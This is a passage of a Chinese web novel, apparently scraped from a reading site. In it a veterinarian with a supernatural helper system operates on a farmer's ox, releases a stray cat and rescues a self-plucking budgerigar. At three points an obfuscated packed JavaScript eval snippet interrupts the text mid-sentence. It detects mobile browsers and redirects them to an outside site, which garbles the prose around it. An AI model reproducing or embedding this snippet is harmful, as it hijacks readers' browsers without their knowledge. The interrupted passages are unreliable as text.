老人局促地搓了搓衣角：“这，这都得很贵吧？” 温礼：“还好，能发挥上作用就行。” 温礼：“放心，不收费的。我带着这些东西过来，就是为了能帮上忙，对了，电源在哪里？” 这时，兄弟俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763641|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也凑过来看到了这些仪器。 他们表情一下变得古怪，怀疑地看了一眼这个陌生的青年。 这时候他们倒是不怀疑温礼的专业性了，但开始怀疑起他的目的了。 毕竟，哪里有为了一头老牛这样大费周章做手术的。 “爸，你别信他，到时候做完手术他指定要好多钱的。” “这又是吸氧又是麻醉的，我去医院也没这么看过病啊。” 他们不开口还好，一开口老人的情绪就又上来了，反而没了那点犹豫：“治！我现在就要治！医生你说要我干啥！” 温礼说要找个合适的手术场地，老人便直接拎着扫帚，敲打着两个不情不愿的儿子到牛棚里打扫。 温礼又说他的设备需要电源，老人从儿子的行李箱里翻出了插排，拉了好长的线勉强接到牛棚里。 很快，牛棚便焕然一新，地上撒了一层石灰石，又垫了厚厚的干草。 等温礼再拿张手术垫单铺在上面，插上各个设备的电源，一个临时的简易手术室就搭建好了。 对于牛这样的大型动物，一般都是就地手术，不可能像小型动物比如猫狗那样还能送去医院里诊治，正因为这样，温礼才在系统的提醒下带来了许多便携的手术器材。 ——反正都是诊所自带，用起来不心疼。 场地准备完毕，接下来患者入场。 老人一步哄三回牵着疲倦不堪的老牛回到棚子，他心疼地摸了摸遭罪的老牛，随后便紧张地看向牛棚里已经换上手术服的青年。 “医生啊，还要我做什么吗？要我帮忙摁着牛不？” “不用，接下来我一个人就可以，你们只要别碰到插头就行。” 温礼想了想，又说：“不过，手术途中可能需要一些干净的水，你们在外面可以准备一些热水毛巾之类的东西，半个小时左右来送一次。” 老人连连点头，见青年示意他离开，便不舍又忐忑地离开牛棚。 很快，温礼便听见外面又再次爆发一阵激烈的争吵，似乎是考虑到手术环境需要安静，没吵几句这些声音便逐渐远去。 听了几句确定老人没昏过去后温礼就放心了，随后便开始沉下心来做手术。 “好大只啊……” 他还是头回在这么大的动物身上动刀子。 光是需要手术操作的区域就比一整只的猫咪还要来得大，剃毛和消毒都花了不少时间，切割皮肤、分离肌肉时也更加费劲。 好在眼前再次出现了超现实的游戏滤镜。 滤镜处理下，血肉中错位严重的骨头变成了一个个光滑的图标，而复位的过程就像是在玩一个收纳游戏，需要他按照虚线提醒的位置一个个将图标正确归位。 裂开的骨头需要在收纳前再进行额外的固定处理，一旁的钢板和螺钉闪着光，拿起后面前的骨头上便浮现出最佳的固定位置，按照提示固定后就可以进行归位。 这些钢板之后也不需要取出，在骨骼愈合后将被新长出的骨组织覆盖住，就像骨头原本的一部分那样支持着牛的身体。 固定完就是逐层缝合了，这个已经驾轻就熟。 温礼觉得这次的手术也不算难，新的收纳小游戏也挺有意思，只可惜在外面系统不能夺舍机器人帮他擦汗，额上的汗滴到眼眶里他也只能自己眨眼缓解。 这算是这次手术中唯一的小困扰了。 …… 手术期间，老人来送过一次水，原本还伸长脖子张望想问问情况，结果一看青年手里血淋淋的一片以及干脆利落钉钢板的动作时直接噤声，带着对技术人员深深的敬畏，大气不敢喘地离开了牛棚。 见状，在先前吵架过程落败的兄弟俩忍不住开口，想着扳回一城： “怎么了爸？我就说这人是个骗子吧！” “他不会把牛治死了吧，那也得赔钱的！” 等到他们自己也进去看了一眼后，顿时沉默了。 虽然他们不懂手术，但光看着就觉得很专业…… 奇怪了，这人到底图啥啊！ 一头老牛而已，至于吗？ 15.小吃 不知道具体过了多久，温礼终于做完了手术，从牛棚里走出。 面对第一时间迎上来的老人，他缓声安慰： “放心，手术很成功，之后静养一段时间就好了。” “记得给它翻身避免生疮，平时的饲料里多加一点钙磷，保持环境清洁，养一段时间就能好了。恢复后可以正常生活，不过最好别让它干重活。” 老人连连点头，不顾兄弟俩的阻拦，从胸前的口袋里颤颤巍巍摸出了个存折：“医生啊，这是我攒的一点钱，你看也不知道够不够……” “唉，真不用！”温礼无奈地推回，“只要您之后能好好照顾它，别让我这几小时手术白做了就行。” 他这话本意只是引出后续的护理工作，没想到老人却像是被提醒了似的，冲着他严肃地点点头，随后立马从房子里翻出两箱行李往院子里扔，随后举着扫帚把两个儿子连同行李扫出了门外。 温礼：…… 温礼：“呃，这样做会不会不太好？” 虽然他在与老牛共鸣时也想着把这俩人顶出去，但那是出于旁人视角站着说话不腰疼，而老人作为俩人的父亲，未来需要他们赡养，这样闹矛盾会不会不太明智。 “哪里不好？我养我自己的牛，他们还不乐意管起我来了，哪有这种事！”老人愤愤地说，“让他们自个反思去！在外面待久了心就变的这么黑，一点感情都没了！” “不认错道歉的话，这辈子都别想回来了！” 至于养老，老人丝毫不怂，说大不了就一辈子待在农村，他一个老头能花多少钱，村里有地有菜，每月还有人送米面粮油，要是两个孩子真是白眼狼，他也能给自己养老。 他还存了万把块呢！ 见老人有自己的想法，温礼也没打算多劝，只继续履行了兽医的职责，给老人留下了几个辅助牛翻身和行走康复的道具，手把手教该怎么用，还留下了电话，告诉老人有什么问题可以随时问他。 当然，这些也是不收费的。 “谢谢啊医生，你真是好人！” 老人有些局促地收下这些工具，又忍不住想主动塞点钱过去，被拒绝后实在过意不去就又跑到屋子里，把原本给儿子们准备的鸡蛋和腌肉放在了三轮上。 见青年扭头，他搓了搓衣服，假装严肃：“这些你可得收下，不然真的过分了！传出去都得说我老黄抠门了！” 实在拗不过，温礼只能道谢，随后骑着三轮离开。 “医生开慢点啊，路上顺顺利利的！今天真的谢谢你啊！” 目送三轮车开远，老人在门口又张望了好一会，这才回到牛棚守着。 “哞……” 没过多久，老牛悠悠转醒，一睁眼就瞧见了面前熟悉的身影，还没怎么清醒就叫了一声。 老人用粗糙的大手抚摸着它的额头，它的感觉迟钝，还没从药效中完全恢复过来，却依然舒适地眯了眯眼睛。 等麻醉完全褪去，它躺在柔软厚实的干草上，哪怕身上逐渐泛起细密的疼痛，也依旧温顺地把脑袋搭在老人腿上，只是略微委屈地喷了喷气。 “委屈啦？这么可怜呢……他俩我已经赶走了，给你出气啦。” “得亏这次遇见个厉害的医生哦，把你救回来，还能吃草喘气，没被卖掉。” 老人絮絮念叨着：“早点好起来，我再带你出去放风哦，你可得再多陪我些年，辛苦了一辈子，最后可一定得善终啊。” 他特地拿了把老牛最喜欢的草，递到牛嘴边，劫后余生的草叶格外鲜嫩，老牛一时忘却了身上的疼痛，嚼着草叶仰起头，黝黑的眼瞳注视着上方的人类，发出低低的叫声。 仿佛知道危险过去，而它的命运也已经改变了。 - 【恭喜宿主完成本次救助任务，奖励已发放。】 当收到系统的消息提醒时，温礼正在放归昨晚带回来的奶牛猫。 听到这个提示音他还挺意外的，因为老牛的手术后护理其实是一项大工程，本以为这次也会延后结算，没想到现在就判定结束了……算算时间，差不多刚好是麻醉结束没多久。 看来老人真的在好好照顾自己的牛呢，温礼有些感慨。 “喵！嗷！” 就只是在原地站了十几秒，手中航空箱就开始闹腾起来，爪子抓挠箱子的声音咔咔响，温礼立刻回神，提着航空箱继续往前走。 他在昨天新加入的救助群里询问，得到了这个合适的放归点。 这一片的住户都是年轻人，小区里有专门的流浪猫狗投饲点，甚至还有专门为流浪猫绝育的志愿者，在这里放归应该是最佳的选择。 找了个草坪，温礼放下航空箱，打开舱门。 几乎就是下一秒，一个黑白色的影子就窜出没入附近的草丛，连头都没回。 “都不犹豫一下的吗？” 温礼忍不住吐槽：“好歹我也帮你洗了个澡，喂了三顿饭呢，看都不看我一眼的吗？” 仿佛是听见了他的话，不远处忽然亮起了两盏小小的灯泡，圆溜溜的，在漆黑的草丛里格外亮眼，像是在认真记住面前人类的模样。 温礼：…… 温礼：“呃算了算了，你还是直接走吧。” 回去的路上，他偶然瞥见草丛里似乎有只受伤的白色小猫，可还没等他靠近，这只猫咪就飞快躲进了建筑间的缝隙里，里面一片漆黑，他打着手电也看不清。 受伤的小动物总是会更加敏感警惕，尤其对人类会更加防备。 天生就亲人温顺的小动物，除非足够幸运能一直遇到好人，但只要遇到一次坏人，它们就很可能遭遇不幸。 温礼明白这个显而易见的道理，但还是忍不住叹气，他想，如果这些动物们能信任他，主动向他寻求帮助就好了。 不过或许只有精通动物语言才能达到这点。 想到这里，温礼下意识看了眼方才结算的任务奖励，不看不知道，一看吓一跳—— 这次的任务奖励竟然再次掉落了奇迹因子！ 虽然只有3点，但连续两次掉落的概率已经让他非常震惊了。 “系统，你是不是暗改概率了！” 【宿主……这不是抽卡游戏，系统也不是游戏策划。】 温礼没在意系统无奈的吐槽，他看着面板上崭新出炉的3点奇迹因子，脑袋里已经想出了七八种处理方法，甚至都开始提前构思使用时的情景。 不过，短暂兴奋后，他又冷静下来。 现在还是先保留着吧。 存一点备用，等到出现需要改变现实的困境，再派它出场，不然想临时凑出来奇迹因子，可就又要像昨天一样忙碌了。 即便如此，突然得到这份奖励的温礼还是像中了大奖一样开心。 路过小吃街，他还特地买了好几份小吃庆祝。 “宝宝，这狗好可怜啊，你看它腿都瘸了，怎么都没有人喂它呀？” 在摊边等待，他忽然听见一个女声。 循声望去是一对情侣中的女方，女生正忧心忡忡地看着在小吃街旁拖着后半身往前爬行的柴犬，而一旁的小伙听见女友如此反应，立刻表现欲爆棚，举着手里的鸡排说：“没事的宝宝，我去喂它！” 女生：“哇宝宝你人真好，好善良~” 小伙带着女友崇拜的目光靠近柴犬，可才把鸡排丢下，没来得及摸一把狗狗的脑袋，原本瘫在地上的柴犬就突然医学奇迹地站起，以人类反应不过来的速度一口叼起鸡排，随后无情地扭头就跑，没能让人摸到一根狗毛。 “……？” 小伙愣住，他身后的女生也愣住。 随后，原本噤声注视他们的小吃街的摊主食客们不约而同地爆发一阵善意的笑声，这时候才终于有人提醒他们——这是只卖惨的心机狗。 温礼抽了抽嘴角。 他说怎么昨天直到他把狗吓跑才有人告诉他真相，敢情是一整条街的人都等着看新人热闹呢！ 人在干坏事的时候还真是不嫌麻烦…… 又站在一个小摊前，恰好就是昨天目睹他把狗吓走的那家，温礼还没开口，老板就自然地招呼他：“哟，医生来了，今天吃点什么？” 温礼有点疑惑：“你怎么知道我是医生？” 老板指了指方才热闹的地方：“喏，也就医生能直接把狗吓跑了，狗鼻子可灵了能闻到你们身上的味，要是普通人就是那样，所以昨天我一看你那样就是兽医。” 温礼：…… 知道你昨天还看热闹！恶趣味！ 他随便点了份煎饼果子，老板三下五除二做好，把餐递给他的时候，忽然神神秘秘地招手示意他附耳过来，小声询问：“对了，你那给流浪狗绝育多少钱啊？” “这狗虽然没主人，但天天在我们这条街晃，和我们一起出摊，好多人都着冲它来的，我想着怎么也得回报它一下，网上都说绝育对狗更好，你报个价格我看看我能不能付得起。” 温礼：…… 喂这对狗狗来说是回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777043|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报吗？ 他的表情有点微妙，但还是随口报了个价格：“200吧。” 老板一下子喜笑颜开： “哎呀，你家最便宜诶，那我约个时间上门，你帮我把它绝了吧。” “你说绝育后，这狗是不是就不想到处乱跑了。那没办法我也只能养它了，到时候出摊的时候我还能把它牵出来，它喜欢还可以接着骗人，也不用我怎么喂，你说这样多好。” 温礼：…… 完全是蓄谋已久啊！ 他哭笑不得地和老板约好了时间，最后提着满满当当的一打小吃回到诊所。 - 接下来的几天，仿佛是为了平衡前几天的忙碌，温礼所接收到的救助任务都比较轻松。 也不能说轻松，准确来说，是比较简单。 他只需要做完手术或者是其他的救助工作，就可以当场完成任务，救助目标不会像先前猫妈的病情一样反复，亦或是白鹭那样需要较久的康复处理。 提起白鹭……温礼也开始着手准备放归了。 经过他处理的伤口似乎比正常情况下康复得快一点，这才没多久，白鹭脖子上的伤口就已经完全愈合。系统的诊断分析显示，这只大鸟已经可以正常地进行觅食活动了，现在只需要再考察一下它的野外生存能力是否下降，比如飞行等。 “不，我觉得它没必要进行飞行训练。” 温礼以受害者身份实名吐槽道：“它的翅膀一天比一天有劲，我们诊所的伙食还是太有营养了！” 再次从白鹭的房间里出来，青年的衣领凌乱，头发乱翘，袖口还沾着几根白色的鸟羽，整个人看着狼狈不已，活像是被十足马力的电风扇迎面轰过。 天知道他只是喂个饭而已。 想起白鹭在从他进门后就开始进入战斗模式的姿态，温礼再次重申：“我真心认为，我们双方都很希望它能够尽快回归自然！” 【好的，正在重新评估白鹭的状态……】 系统懂事地开始分析。 系统的传送功能一共会标记三个坐标，一个是救助目标最初共鸣时的坐标，一个是救助目标当前的坐标，一个是诊所的坐标。 所以只要白鹭完全康复，随时都可以放归至原先的那处湿地。 明确了把这位祖宗送走的时间，温礼松了口气，在时间表里给它空出了一个单独的早上，随后便照例巡视诊所。 诊所里大部分动物都在向好的方向发展，只有一个例外—— “七七……” “喜欢……啾。” 温礼有些苦恼地站在鸟笼前。 鸟笼里的蓝白色虎皮鹦鹉是诊所里唯一一只来历不明的小动物，它是在先前抢救小花的忙碌一天时由小花的孩子从外面叼回来的，看起来像是家养的小鸟，但时至今日，温礼也没能在社交媒体上找到它的主人。 而最近几天，小鸟的情况开始变得有点糟糕。 鹦鹉身上的伤口被第一时间妥善处理过，每天温礼也会为它提供新鲜干净的食粮和水，照理来说应该会很快好转。可不知道为什么，身上的伤是好了，它的精神却愈发颓靡。 它不怎么进食，安静地窝在鸟笼的一角，因为缺少理毛而显得羽毛杂乱，像个乱糟糟的羽毛球，只有当人类推开房间门进来的时候，它才会忽然发出声音，笨拙地学舌。 温礼试着叫它的名字安慰它，但小鸟只是看着他，慢慢半垂下眼皮。 【或许这只鹦鹉是在思念主人。】 系统试着分析。 【家养的鸟类会将主人视为叫家庭成员，它们的情感丰富，突然的分离可能会致使它们出现心理上的问题，简单来说，它可能患上了抑郁症。】 “我知道，所以我在努力帮它找主人了。”温礼叹气，“寻人启事也发出去了，救助群里也帮忙扩散了，但是这么多天了都没有人回应……难道它的主人不着急吗？可如果不着急，七七又怎么会对主人有感情呢？” “七七，七七。”身后又传来小鸟被触发关键词后的学舌。 要是它是系统所响应的救助目标就好了，那样温礼就可以通过共鸣轻而易举地得知问题的根源，可惜它是意料之外的救助对象。 【可能它的主人年龄还比较小，在家庭中并没有话语权，这样就可以解释它先前被遗弃并无人认领的情况。】 “嗯……” 温礼觉得系统的猜测很有道理。 这么一看，或许他应该换个思路化解小鸟的心结。 16.鹦鹉 抑郁的鹦鹉需要足够的陪伴和支持才可能逐步化解心结。 温礼很希望自己能充当这个角色，但可惜诊所里还有很多动物需要他关注，每天他还要不定时完成系统的固定任务，没有充足的时间留给七七。 所以他决定换个思路，再找一只鹦鹉和七七作伴。 线上搜索合适的小鸟时，温礼刷到了一条熟悉的领养贴。他对这个帖子的发帖人有一点印象，记得之前刷到过，对方是挂了一只绿白色虎皮找领养。 先前帖子标的价格是50，现在直接降到了1块。 帖子内容不久前才编辑过，内容透露着满满的迫切： [找领养，标价直接拍，不送货自己上门领，送鸟笼和几袋鸟粮。] 出于好奇，温礼点开了聊天框：[你好，你这只鹦鹉还在吗？方便现在拍一下照片吗？] 卖家很快回复：[要就直接拍。] 温礼：[我想确认一下鹦鹉现在的状态，我几天前就刷到过你的帖子了，一下降价这么多，我有点怀疑小鸟是不是不在了。] 卖家输入中…… 上方显示输入的文本停顿了好久，对面才不情不愿地承认：[确实出了点小问题，它当然还活着，只是我最近比较忙照顾不了，所以才比较着急出。] 温礼又追问了几句，直到他表示自己可以带小鸟看医生时，对面才终于发过来一段视频。 视频里，是昏暗的房间。 镜头晃动，拉近，终于在窗边的柜子上模糊映出了一个笼子的形状，底部正静静伫立着一个小小的身影。 不知道是不是光线原因，相比于帖子里的照片，这只小鸟看起来黯淡且死气沉沉。而随着镜头的靠近，这才看到它脖颈往下的躯干上突兀地空了好几处，露出肉色的皮肤，仅剩的几根羽毛也都凌乱地竖着。 笼里散落着绿白的羽毛，像是被谁大力甩动过那样，连金属条的缝隙都夹着几根羽毛。 “嘎！嘎！！” 突然，拍摄者似乎不小心碰到了什么，原本安静的小鸟忽然大声且尖利地叫起来，挥舞翅膀在笼子里横冲直撞，嘭嘭的声音听得人心里发慌，笼里的羽毛到处乱飞。 显然人被吓到了，嘟囔几句后连忙后退关上了门，同时结束拍摄。 温礼：[……] 温礼：[它好像抑郁了，发生什么事了？] 卖家语气抱怨：[不关我事，它自己记挂另一个主人抑郁了，我能有什么办法……话说，你到底要不要？我这边也有其他人拍的。] 温礼犹豫了一下。 他想起自己来平台找鹦鹉的初衷是给诊所里的小鸟找个能陪它走出低落的伙伴，可对面那只鹦鹉显然病得更重，接回来不但不能达到最初的目的，还要他额外分出时间多照顾一只…… 卖家：[算了，有其他人买了。] 只是短暂的迟疑，对面就弹出了这样的消息。 温礼：[好吧……] 先一步卖出的消息仿佛是冥冥之中替他做了决定，他原本就在犹豫，现在似乎也没有争取的理由。 希望那个新的买家能好好对待这只小鹦鹉吧。 温礼叹了口气，准备关闭对话框，可就在这个时候，脑内突然响起系统的播报声—— 【已检测到求助信息，请问宿主是否准备开始救助？】 呃，这么突然的吗？ 温礼感觉这个时机简直巧合得吓人，忍不住多看了一眼屏幕上的对话框，然后才对系统说：“准备好了，开始吧。” 【正在开启共鸣——】 再睁眼，温礼看到了面前泛着金属光泽的一排排竖条。 它在笼子里。 但笼子里不止有它，还有一只蓝白色的虎皮鹦鹉。 温礼：……？ 总感觉，看起来很眼熟啊。 但他看了半天，也不能确定对面是不是诊所里来历不明的那只小鸟。 同样，他也无法确定本次共鸣的救助目标是不是他才在平台上沟通过的那只绿白虎皮。 要是的话未免也太巧了吧？ 眼前场景仍在继续—— 房间里空无一人，但笼子里的它们并不无聊，在同一根杆子上站着站着就开始挤在一起，感受着身旁传来暖融融的热度，时不时侧身让对方帮忙梳理羽毛，挨在一起，叽叽喳喳地鸣叫着，彼此亲密极了。 不知道过了多久，房间里终于来了其他人。 是一对亲密的年轻情侣，他们结伴走进房间，短短的几步路就亲了好几口，一看就是热恋期。 它在笼子里，和另一只伙伴依偎着看向人类。 鸟笼的食碗空空的。 “啾啾！” “啾！” 它们清脆的叫声终于吸引了情侣的注意，女方笑着推开男方去拿鸟粮，而男方则站在笼子旁，把其中一只鹦鹉捞了出来。 “来，跟着我学——七七，爱七七。” 男方对着蓝白鹦鹉这样说，而看到他这样，女方羞涩地怼了他一下：“真实的，乱教什么呢！” 男方甜蜜地说：“当然是在用鹦鹉替我说出真心话啊，什么时候我出差不在家，你还能睹物思人。” 成功把女方说得脸红，他又开始对着手里的鹦鹉不断重复教学：“说，七七，喜欢七七……” 这样的发展大概已经重复了不少次。 而这次，蓝白鹦鹉动了动喉羽，真的磕磕绊绊发出了声音：“qi……爱七七！” “哦！真的说了！看来我的努力还是有效果的哈哈。” “真是的，这让别人听了多害羞。” 这对情侣因此陷入了又一阵的甜蜜，女方开心得就连鸟粮都加多了，还额外给蓝白鹦鹉喂了一个小零食。 它在笼子里围观这一幕，还没吃上几口同伴赢得的奖励，另一只手就朝它伸来，把它抓在手里。 一抬头，女方对它说：“来，你也要学，跟我念：爱周周——” 叽里咕噜重复的语句对着它输出了半天，但它歪着头，最后还是只发出几声清脆的鸣叫声。 “母的不会说话的。”男方得意地抱着胸，“看来还是我的鹦鹉厉害一点。” 女方沮丧地把鸟塞回笼子里，随手关上了笼门。 “真是的，早知道我就选一只公鹦鹉的了。” “那怎么行，它俩不就是我俩吗，一公一母正正好，你难道想你老公当同性恋啊？” “真讨厌，你明知道我不是这个意思……” 人类情侣打情骂俏地走远了，而被塞回笼子里的它望着他们的背影，扭头看了一眼自己被笼门夹上的翅膀尖。 “啾啾。” 这时候，对面的蓝白鹦鹉忽然跳过来，脚爪攀着笼上的金属条，歪着脑袋观察了一下，随后用喙咬住了笼门，帮着往上提了提。 啪嗒。 笼门升起又落下，它的翅膀也得救了。 “啾~” 它发出欢快的叫声，跳到同伴身边，轻轻蹭了蹭。 对此非常受用的蓝白鹦鹉又慷慨地分享了女主人奖励它的小零食。 仿佛和两位人类饲主一样，这对鹦鹉也正是如胶似漆的甜蜜期小情侣，甚至因为饲主在日常互动中的缺失，它们之间还更加亲密一些。 这样的设定乍一看很温馨，但围观的温礼只感觉到唏嘘。 情侣养情侣鹦鹉啊…… 果不其然下一幕，就是两位饲主吵架的场景。 热恋的情感来得快去得也快，很快两人便准备分手，他们公平地划分好了一切，包括恋爱期间养的那对鹦鹉。 公的归男方，母的归女方。 “啾！啾啾！” 视野里，笼子没变，但笼外的房间变了个模样，更关键的是，它身边的另一只鹦鹉不见了。 它因为不安和孤独而不断鸣叫着，在笼子里寻觅另一只小鸟的踪迹。 一开始，女方还会和它共情，将它放在手里哭。 “你也在怀念那个家是不是，我也是，但已经回不去了……” 但很快，女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792018|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方走出了这段恋情，开始嫌它吵闹。 “拜托，你就不能像我一样看开点吗？天涯何处无芳草啊！” 作为象征着上一段失败恋情的鹦鹉，它遭遇了主人的刻意忽视和冷淡，突然失去了自己最亲近的同伴，又没能得到人类的及时抚慰关心，它理所应当的抑郁了。 此刻和鹦鹉共鸣的温礼，清晰地见证了“自己”在笼子里拔毛的过程。 一开始，它只是在黑暗中静静地梳理羽毛。 短而钝的喙部扎在毛茸茸的胸脯里，一点点地梳理，但忽然，不知道从哪里传来了突兀的一声，打断了这份平静，就像是最后一根弦崩断的声音，它原本柔和的动作陡然粗暴起来，咬住羽毛的根部，竭尽全力地往外扯。 啪，啪。 细碎到几乎听不见的声音，原本漂亮干净的羽毛被一根一根地拔下。 强行扯下的羽毛根部还沾着血点，泛起细密的疼痛，可这些疼痛完全无法阻止它的行动，近乎是宣泄般不断继续。 很快，笼子底下就散落了一层羽毛。 “啊！你干什么？你怎么掉这么多毛了？” “咕嘎——！呱！！” 而在面对人类时，它也从原本单纯的鸣叫渴望亲近，变成了歇斯底里的大叫，甚至在人类一次伸手时，直接暴起叨了她的手指。 此举让人类彻底不想养它，在网络上发布了帖子找领养。 “我真养不下去了！” 一墙之隔，温礼听见女方正打电话和亲友抱怨，“果然和那个渣男有关的东西没一个好的，养也养不熟，它现在变得特别丑，而且超级吓人！” “对了，你知不知道那个渣男，我真服了！看他朋友圈，无缝衔接的那位还养猫呢。猫鸟混养，说不定他的鹦鹉早就死了，果然没责任心的人是这样的。” “所以你看我已经很好了，还给鸟找领养，它咬我我都没直接把它丢掉呢。” 这一幕中，温礼甚至看见了自己的痕迹——从女方找领养的过程中。 他就是被女方抱怨过“事多”的那位买家，但很快女方表示自己又找到了一个新的买家，讨论起来干脆利落，晚上就可以上门拿鸟。 接下来是“未来可能发生”的事。 到了晚上，买下鹦鹉的买家没有和女方仔细沟通过，误以为自己买的是照片里健康的小鸟，所以上门时看到一只掉毛的鹦鹉明显表现出不太乐意。 但耐不住女方又送笼子送鸟粮，一元买这些东西包回本的，买家还是提溜鸟笼走了。 因为一见光就会应激攻击人，所以被带走时它的笼子被一张黑布笼罩着，它看不见外面的场景，只能感受到笼子的颠簸。 “……” 它出乎意料的安静。 甚至，它或许有那么一丝的期待——因为和同伴分离前也是这样的一幕，所以说不定再次掀开黑布时它们能够重逢，它能再听见另一只鹦鹉的叫声。 但现实不会是这样的。 它现在是一只秃了毛的丑鹦鹉，并不讨人喜欢，也没人愿意知道它为什么发疯。 颠簸忽然停下了。 “把鸟丢了算了，反正也不值钱，你看它那样。” “真无语，还以为能捡漏呢，之后还是去正规宠物店里买，这次一元就当买个教训。” “这有个垃圾桶，把鸟丢了吧？鸟笼其实还不错，可以留着。” “得了吧，这鸟也不知道得什么病，毛都要掉光了，这笼子指定也不干净，一起丢了。” 话音刚落，随着一股推力，它便与笼子一起腾空，随后重重落下。 “啾！” 它仍然存有一定的求生欲，本能地挥动翅膀悬空想要躲避这样的冲击，但笼子里一片漆黑，惊惶中的它什么也看不清，最终依旧躲闪不及，被什么尖锐的东西穿过胸脯插进一只翅膀，直接钉在了笼底。 动弹不得，也发不出多大的声音。 笼外，人类的脚步声远去。 而很快，一切嘈杂的声音也都渐渐远去。 17.团聚 “我真的不明白……” 这是脱离共鸣后，温礼说的第一句话。 他有很多话想说，脑内的思绪纷繁杂乱，最后也只是叹息地说：“我现在由衷觉得，没有责任心的人最好不要轻易负担起另一个生命。” 【您说得很对，如果所有人都能遵循这一原则，那么很多不必要的悲剧都将不会发生，也会减少许多矛盾。】 【但显然，这并不可能达到。】 “是这样……毕竟人也是复杂多样的。”温礼又叹了一口气，“原则只能要求自己，无法干涉他人，也不能强迫他人遵守。” 这些简短的感慨很快结束。 温礼很快正色，开始照例办事，首先是告知系统救助目标的困境：“系统，这次的救助目标是一只抑郁的虎皮鹦鹉，它会被丢弃在某个垃圾堆里……” 他忽然顿住。 他转过弯来。 鹦鹉被丢弃是未来发生的事，他现在完全可以直接赶在那之前买下它，直接杜绝它之后的遭遇，根本不需要等到悲剧发生后再去抢救。 毕竟都预知未来了诶！ 温礼：[好吧……] 屏幕上，还是和那位卖家的聊天框，温礼在共鸣里沉浸许久，又和系统聊了会天，距离他上次在聊天框发言也才过去了五分钟。 五分钟，他完全可以截胡啊。 于是温礼开始框框打字。 温礼：[你好，我又思考了一下，发现自己很喜欢这只鹦鹉，你的标价是一元，我可以按照你先前的标价50元买下，依旧是我上门取，你看可以吗？] 卖家输入中…… 卖家：[你不早说，我都卖出去了。虽然那边也还没回我吧，你什么时候能上门拿？] 温礼看出了对方的动摇，乘胜追击。 温礼：[我现在就有空，给个地址不远的话可以半小时内到。] 卖家报了个地址，温礼立刻表示自己可以在十分钟内到。 ——其实一分钟就可以到了，毕竟他可以通过系统传送至卖家附近200米，但该有的现实逻辑还是要有的。 在加价和高效的双重诱惑下，卖家最终取消了另一边的订单，选择把这只鹦鹉卖给了温礼。 订单达成，买卖双方还在聊天框里闲聊。 卖家：[其实我挺好奇的，你喜欢它什么啊？] 卖家：[我必须说清楚啊，这家伙现在脾气大得不行，而且一直记挂着它另一个主人，你拿回去估计养不熟的。] 温礼：[我其实不是想让它当一只亲人的宠物小鸟。] 温礼：[我只是在想，如果我没有买下它的话，它在下一位主人手里或许会过得不好，我不希望它就这样凄惨下去。] 卖家输入中…… 卖家输入中…… 卖家：[你这话说得我好像亏待它了一样，它都这样了我没丢已经很好了吧，我还给它找领养呢。] 卖家：[你还是不知道发生了什么，所以这样善心大发，它其实就是个小白眼狼。] 卖家：[而且，就算你没买的话，我也会给它找好下一任主人的好吧，别说的好像我很不负责一样。] 温礼很无奈。 温礼：[我没有这个意思。] 他只是结合实际看到的未来说了两句，没想到对面有这么大的反应，为避免对方恼羞成怒之下取消和他的订单，温礼连忙传送，在两分钟后站在了卖家的家门口。 温礼：[我到了，麻烦开下门。] 卖家：[这么快？你坐火箭过来的？？] 紧闭的大门打开，露出一个小缝，看见门外确实站着一个青年，女人惊讶地拉开门。 “是来拿鹦鹉的吗？” 见青年点头，她嘟囔着转身：“真快……先进来吧，我去给你拿东西。” 温礼坐在沙发上等待，简单地环顾了一下房子，他可以确定这里应该是出租房。 “可算腾出房间了。” 没一会，女人就把盖着遮光布的鸟类和一沓鸟粮都放在了温礼面前的桌上，她看起来是个健谈的性格，自来熟地开启话题：“那个房间你觉得养猫合不合适？我是不打算再养鸟了，感觉猫更乖一点。” 温礼：…… 他看了眼面前的鸟笼，又看了眼女人。 “我觉得，不太合适。” 女人有些疑惑：“不合适吗？我还想着有个专门的猫房给猫住很好呢，这样晚上睡觉猫咪跑酷就不会吵到我，猫砂盆也可以放那个房间里不用怎么铲。” 温礼：“那如果那只猫咪很黏你，睡觉想和你睡在一起，你把它关外面它就挠门闹你怎么办？” 女人思考了一下。 “不会这样吧，我看网上的猫都很独立，不用操心的。” “猫咪的性格是不太一样的，万一它真的不符合你的预期呢？” “嗯，那就只能找领养了吧？而且要是很黏人，这种性格应该不缺领养吧！” 温礼：…… 你就不能不养吗？ 他只能换个方向引导：“我觉得那个房间更适合改成衣帽间或者电竞房，养宠物很麻烦，也不一定符合心意，还不如给自己改造一间专门的小天地。” 女人若有所思地点点头：“你这么说也有道理，人还是要爱自己……” 